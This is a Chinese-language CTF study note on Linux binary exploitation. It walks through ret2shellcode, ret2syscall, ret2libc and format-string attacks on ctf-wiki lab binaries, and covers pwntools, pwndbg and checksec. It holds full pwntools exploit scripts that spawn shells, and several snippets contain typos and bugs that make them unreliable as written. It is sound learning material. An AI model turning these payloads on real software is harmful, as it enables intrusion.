看他报错的意思是(跳转到0x62616164)这步出错了,意思就是没有0x62616164这个位置,那这个位置是从哪来的呢,就是我们200个有序字符其中最先溢出的部分。那么只要知道这个0x62616164是我们输入的第几个,就可以数出来它前头有几个数字了。根据ASCI码表,又根据“0x’是16进制的意思,可以查表得出这串数字转换成字母是’baad’。接下来就要知道cyclic的顺序了,稍微观察一下就可以知道cyclic的规则(4个数4个数有规则),轻易的就可以数出它的位置。当然还有更简单的方法,前文也说了cyclic是有序字符串,自然有一个子函数可以査,“cycic -l”代表着查询你所给的4bit字符前有几个字母。输入【cycic -l 0x62616164】,得到112,说明“baad’前有112个字母,那么这112个字母就是填充空栈的所需量了。接下来多的就会溢出。如下图所示:

image-20240617225632953

return to shellcode

就是自己来填充shellcode然后劫持EIP来执行,同样是ctfwiki的题PWN入门(1-3-4)-基本ROP-ret2shellcode (yuque.com)

利用关键:

1、程序存在溢出,并且还要能够控制返回地址

2、程序运行时,shellcode 所在的区域要拥有执行权限(NX保护关闭、bss段可执行)

3、操作系统还需要关闭 ASLR(地址空间布局随机化)保护。(或关闭PIE保护)

解题步骤
先使用cyclic测试出溢出点,构造初步的payload

确定程序中的溢出位,看是否可在bss段传入数据

使用GDB的vmmap查看bss段(一般为用户提交的变量在bss段中)

先发送为shellcode的数据写入到bss段

在将程序溢出到上一步用户提交变量的地址

在ida中查看buf2的情况

image-20240617235711643

在pwndbg里下好main函数的断点后运行,用vmmap查看buf2对应的bss段是否可以运行

image-20240618000721471

这里显示是可以运行的,这里先计算一下溢出空间

image-20240618001238478

image-20240618001411412

溢出空间还是112

exp如下

1
2
3
4
5
6
7
8
9
from pwn import *

sh=process('./retshellcode')
buf2_addr=0x804A080
shellcode=asm(shellcraft.sh()) # shellcraft.sh()的内容其实就是执行了一次system('/bin/sh')或evecve('/bin/sh')
payload=shellcode.ljust(112,b'A')+p32(buf2_addr) #ljust是使用自定义字符讲shellcode补齐为112个字符

sh.sendline(payload)
sh.interactive()

image-20230509113727771

image-20230509212024902

这是我自己对gadget栈帧变化的理解

image-20230512112211664

ret2syscall

调用系统调用来getshell

32位

1
2
3
4
5
6
7
8
eax应该为0xb

ebx应该指向/bin/sh的地址,其实执行sh的地址也可以
ecx应该为О

edx应该为0

最后再执行int 0x80触发中断即可执行execve()获取shell

return to libcimage-20230510133902239

image-20230510134628326

image-20230510134643590

动态链接编译文件的时候会先把要连接的函数放入plt表,然后使用的时候先去plt表找,找到后再经过一系列操作找到这个函数的原地址,然后把这个地址放入got_plt,这样第二次再用这个函数的时候就直接去got_plt表中找。

image-20230510213727188

如果要构建调用plt中的system的payload,那要在栈上多加一个exit()

image-20230510213924724

image-20230512110726737

调用plt中的system函数时,要启用/bin/sh得将这个参数压入栈

image-20230512110842869

栈帧结构还是这样,当前所调用的参数是在父函数的栈帧里,比如应该是先push command,然后再call system,此时command是在父函数中,也就是在当前函数的return address前面

image-20230512111830300

这是一个通用结构,payload要调用两个以上的函数时使用

image-20230512114350317

这是简易结构,构造两个函数的payload就使用这个

image-20230512114526185

这个是最终简化版本

那么ret2libc1的exp这里记录一下:

1
2
3
4
5
6
7
8
from pwn import *
elf=ELF("./ret2libc1")
io=remote("url",port)
system_plt=hex(elf.plt["system"])
bin_sh=next(elf.search("/bin/sh"))
payload=b'A'*112+p32(system_plt)+b'BBBB'+p32(bin_sh)
io.sendline()
io.interactive()

ret2libc2

image-20230512182133406

这道题没有给/bin/sh字符串的信息,不能直接构造,所以选择在全局变量buf2中放入数据

1
2
3
4
5
6
7
8
9
10
io=process("./ret2libc2")
elf=ELF("./ret2libc2")
buf2=elf.symbols["buf2"]
gets_plt=elf.plt["gets"]
system_plt=elf.plt["system"]
payload=b'A'*112+p32(gets_plt)+p32(system_plt)+p32(buf2)+p32(buf2)
io.sendline(payload)
io.sendline(b"/bin/sh\x00")#\x00是结束符
io.interactive()

image-20230513130643251

这里是个通用的payload构造,因为这里是分部分进行的,第一部分进行get函数的执行,执行完之后要恢复栈帧情况,函数的执行一开始需要push ebp,所以需要一个pop出去,然后再return

ret2libc3

这道题没有后门函数,plt也没有system函数的表象,也没有/bin/sh的信息,并且漏洞还隐藏在了strcpy中,那么payload构造应该是要通过libc中的函数来得到

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
io=remote("",1002)
elf=ELF("./ret2libc3")
libc =ELF("libc-2.23.so")

io=sendlineafter(b" :",str(elf.got["puts"]))
io.recvuntil(b" : ")
#drop是将接收到的数据里的\n丢弃
libcBase=int(io.recvuntil(b"\n",drop=True),16)-libc.symbols["puts"]

#打印success x代表16进制
success("libcBase->(:#x)",format(libcBase))
#oneGadget = libcBase+0x3a9fc 这是一个one_gadget工具
#sudo apt -y install ruby
#sudo gem install one_gadget

#payload=flat(cyclic(60),oneGadget) cyclic(60)可以直接生成60个字节的垃圾数据
payload=flat(cyclic(60),libcBase+libc.symbols["system"],0xdeadoeef,next(elf.search(b"sh\x00")))
io.sendlineafter(b" :",payload)
io.interactive()

记录的一个return to shellcode的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context(log_level='debug',arch='1386',os='linux')

shellcode=asm(shellcraft.sh())
io=process("./level1")
text=io.recvline()[14-2]
# print text[14-2]
buf_addr=int(text,16)

payload=shellcode+b'\x90'*(0x88 + 0x4 -len(shellcode))+p32(buf_addr)
io.sendline(payload)
io.interactive()

格式化字符串漏洞

image-20230527230630360

格式化字符串漏洞的发生是在我们要打印栈中某个数据时,比如printf(“%s”,”hello”),但是不给他相应的参数,也就是把hello去掉,那么printf参数就会将栈上相邻的数据打印出来,比如图中就会将0xffffd190往高处相邻的四个参数打印出来,然后这个格式化字符串本身的参数也就是——“%p%p%p%p”存放在这个函数所在栈帧之上的第十一个参数,也就是这个参数我 们可以控制,比如我们写成printf(“0x40001010%11$s”),那么原来的0xffffd1bc就变成了0x40001010%11$s,然后这又是第十一个参数,那么printf就会将这个数据给打印出来,那么想要修改响应地址的参数,比如我要修改0x40001010的,就可以写成”0x40001010%8$n”,这样就可以让0x40001010地址的值 但是%n一次是打印四个字节的数据。也就是0x10000000,想要短一点就把%n写成%hn,就缩短一半,那么还有hhn,就是一半的一半

image-20230527234937051

视频中第一个例子的exp

1
2
3
4
5
from pwn import *
io=process("./fmtstr1")
payload=p32(0x804a02c)+b"%11$n"
io.send(payload)
io.interactive()

image-20230528013143186

image-20230528013253527

brk mmap

image-20230528014248978

工具

checksec

这里标注一下看到的一个很有用的知识点:

(0x4002c7)(var)==函数(var) 0x4002c7是函数地址

fmtstr_uaf 字符串格式化漏洞 释放重用漏洞

UAF(use after free)漏洞

1
应用程序调用free()释放内存时,如果内存块小于256kb,dlmalloc并不马上将内存块释放回内存,而是将内存块标记为空闲状态。这么做的原因有两个:一是内存块不一定能马上释放会内核(比如内存块不是位于堆顶端),二是供应用程序下次申请内存使用(这是主要原因)。当dlmalloc中空闲内存量达到一定值时dlmalloc才将空闲内存释放会内核。如果应用程序申请的内存大于256kb,dlmalloc调用mmap()向内核申请一块内存,返回返还给应用程序使用。如果应用程序释放的内存大于256kb,dlmalloc马上调用munmap()释放内存。dlmalloc不会缓存大于256kb的内存块,因为这样的内存块太大了,最好不要长期占用这么大的内存资源。

简单讲就是第一次申请的内存空间在释放过后没有进行内存回收,导致下次申请内存的时候再次使用该内存块,使得以前的内存指针可以访问修改过的内存。

需要注意的是子程序的调用如果只有一个free的话是正确的,因为当函数返回的时候,子程序局部变量的栈针会随着子程序的返回一起销毁

FSB漏洞

格式化字符串是一种很常见的漏洞,其产生根源是printf函数设计的缺陷,即printf()函数并不能确定数据参数arg1,arg2…究竟在什么地方结束,也就是说,它不知道参数的个数。它只会根据format中的打印格式的数目依次打印堆栈中参数format后面地址的内容

在实际程序中,没有安全常识的程序员通常没有对用户输入进行有效地过滤,这些输入数据都作为数据传递给某些执行格式化操作的函数,如printf,sprintf,vprintf,vfprintf。恶意用户可以使用”%s”,”%x”来得到堆栈的数据,甚至可以通过”%n”来对任意地址进行读写,导致任意代码读写

checksec各字段:

ASLR

image-20230509114254908

符号(Symbol)

Canary(堆栈溢出哨兵)

位置无关可执行文件(PIE)

*位置无关可执行文件(Position-Independent Executable)*(PIE),顾名思义,它指的是放置在内存中某处执行的代码,不管其绝对地址的位置,即代码段、数据段地址随机化(ASLR)TEXT、BSS、DATA段

NX(堆栈禁止执行)

NX 代表 *不可执行(non-executable)*。它通常在 CPU 层面上启用,因此启用 NX 的操作系统可以将某些内存区域标记为不可执行。通常,缓冲区溢出漏洞将恶意代码放在堆栈上,然后尝试执行它。但是,让堆栈这些可写区域变得不可执行,可以防止这种攻击。在使用 gcc 对源程序进行编译时,默认启用此安全属性

RELRO(GOT 写保护)

RELRO 代表 “*重定位只读(Relocation Read-Only)*”。可执行链接格式(ELF)二进制文件使用全局偏移表(GOT)来动态地解析函数。启用 RELRO 后,会设置二进制文件中的 GOT 表为只读,从而防止重定位攻击

(204条消息) pwn题shellcode收集_pyiiiiiiiiiiqzvtx30vx4ap0a3hh0a00abaabtaaq2ab2bb0b___lifanxin的博客-CSDN博客

shellstorm

研究案例的外壳代码数据库 (shell-storm.org)

贴一个c语言调用栈的方式

image-20230509000135336

更改输出形式:

1
checksec --file=./hello --output=json | jq

image-20230509093528983

一般ida反汇编出来的start函数是程序初始化环境的函数,没有什么用,也无法f5

选中c语言代码,右键copy to assembly,可以看到他的汇编模式

pwntool

1
2
3
4
from pwn import *
io=process("./ret2text")
#远程
io=remote("localhost",123)

image-20230509101619814

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
io.recvline()#让本地程序输出他要执行的一行内容

io.send(p64(0x123456)+b"0x0a")#输入 内容里面必须是字节流,如果是32位程序就改成p32(),0x0a是\n
shell_addr=0x1231#这个其实就是能够构成栈溢出的变量的起始地址,前提是有可写可执行
io.sendline(b"dsadsa")
payload=asm(shellcraft.sh()).ljust(112,b'A')#ljust可以自动填充数据到112个字节跟setfill一样
payload+=shell_addr
io.recv()

io.interactive()

print(shellcraft.sh())
#shellcraft是pwntool封装的一个类,里面有很多的shellcode
#需要什么直接在.后面加上即,默认是32位的
shellcraft.amd64.sh()
#但是这样不能直接发送payload过去,需要转成机器码
print(asm(shellcraft.sh()))
#编写脚本的时候记得要注意攻击的环境
context.arch="amd64"
1
2
3
4
5
#直接查看got_plt中的函数地址
elf=ELF("./re2")
hex(elf.got["函数名称"])
#查看字符串或变量的地址
elf.symbols["buf2"]

image-20230509192908486

关闭aslr命令

image-20230509192922223

给自己编写的文件去掉pie防护,并且nx防护也没了

pwndbg

1
2
3
4
5
6
7
8
9
gdb re2
b *0x12222 或者 b main
n #单步步过
stack 24 #查看栈24个字节的数据
info b #查看断点信息
d 1 #删除断点
c #continue 执行到下一个断点
start #程序执行,如果有main则停在main,没有则停在start
backtrace #展示函数调用的主从关系

image-20230510194830692

1
return #可以直接从子程序返回到main函数
1
vmmap

image-20230509114539709

1
2
3
4
5
6
7
8
9
10
#pwndbg可以直接用plt查看plt节的内容
plt
#或者使用
x/20 puts@plt
x/20 0x401030
#直接查看栈帧中的内容
x 0xffffd190

got
disasm 地址

ROPgadget

安装

1
2
3
4
5
sudo apt install python3-pip

sudo -H python3 -m pip install ROPgadget

ROPgadget --help
1
ROPgadget --binary 文件名 --only "pop|ret" |grep eax
1
2
3
4
#编译时关掉pie
gcc -fno-pie -o 编译后文件名 源文件
gcc -fno-pie --static -o 编译后文件名 源文件 #编译成静态链接

linux自带工具

base64编码

image-20230509104657154

查看文件基本信息
1
file 文件名
查看二进制文件字符串信息
1
2
strings 文件名
strings 文件名 | grep 要查找的信息
查看文件所使用的的动态链接库
1
ldd 文件名